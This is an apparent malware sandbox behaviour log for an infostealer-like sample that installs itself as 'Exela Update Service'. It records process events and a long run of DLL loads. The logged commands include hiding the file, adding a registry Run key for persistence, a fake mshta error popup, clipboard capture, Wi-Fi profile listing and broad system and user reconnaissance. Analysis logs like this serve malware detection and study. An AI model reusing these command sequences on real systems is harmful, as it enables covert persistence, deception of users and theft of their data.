Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +h +s "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Exela Update Service" /t REG_SZ /d "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c chcp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c chcp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\HOSTNAME.EXE hostname
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic logicaldisk get caption,description,providername
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\query.exe query user
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net localgroup
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net localgroup administrators
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user guest
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user administrator
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic startup get caption,command
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /svc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /all
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ROUTE.EXE route print
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ARP.EXE arp -a
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\NETSTAT.EXE netstat -ano
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query type= service state= all
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh firewall show state
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh firewall show config
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user
Source: C:\Windows\System32\query.exe	Process created: C:\Windows\System32\quser.exe "C:\Windows\system32\quser.exe"
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 localgroup
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 localgroup administrators
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user guest
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user administrator
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Section loaded: libffi-8.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Section loaded: libcrypto-1_1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Section loaded: libssl-1_1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Section loaded: sbiedll.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: mshtml.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: msiso.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: srpapi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: msimtf.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: textinputframework.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dataexchange.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dcomp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: jscript9.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: textshaping.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: msls31.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dxcore.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: esscli.dll
Source: C:\Windows\System32\HOSTNAME.EXE	Section loaded: mswsock.dll
Source: C:\Windows\System32\HOSTNAME.EXE	Section loaded: napinsp.dll
Source: C:\Windows\System32\HOSTNAME.EXE	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\HOSTNAME.EXE	Section loaded: wshbth.dll
Source: C:\Windows\System32\HOSTNAME.EXE	Section loaded: nlaapi.dll
Source: C:\Windows\System32\HOSTNAME.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\HOSTNAME.EXE	Section loaded: dnsapi.dll
Source: C:\Windows\System32\HOSTNAME.EXE	Section loaded: winrnr.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
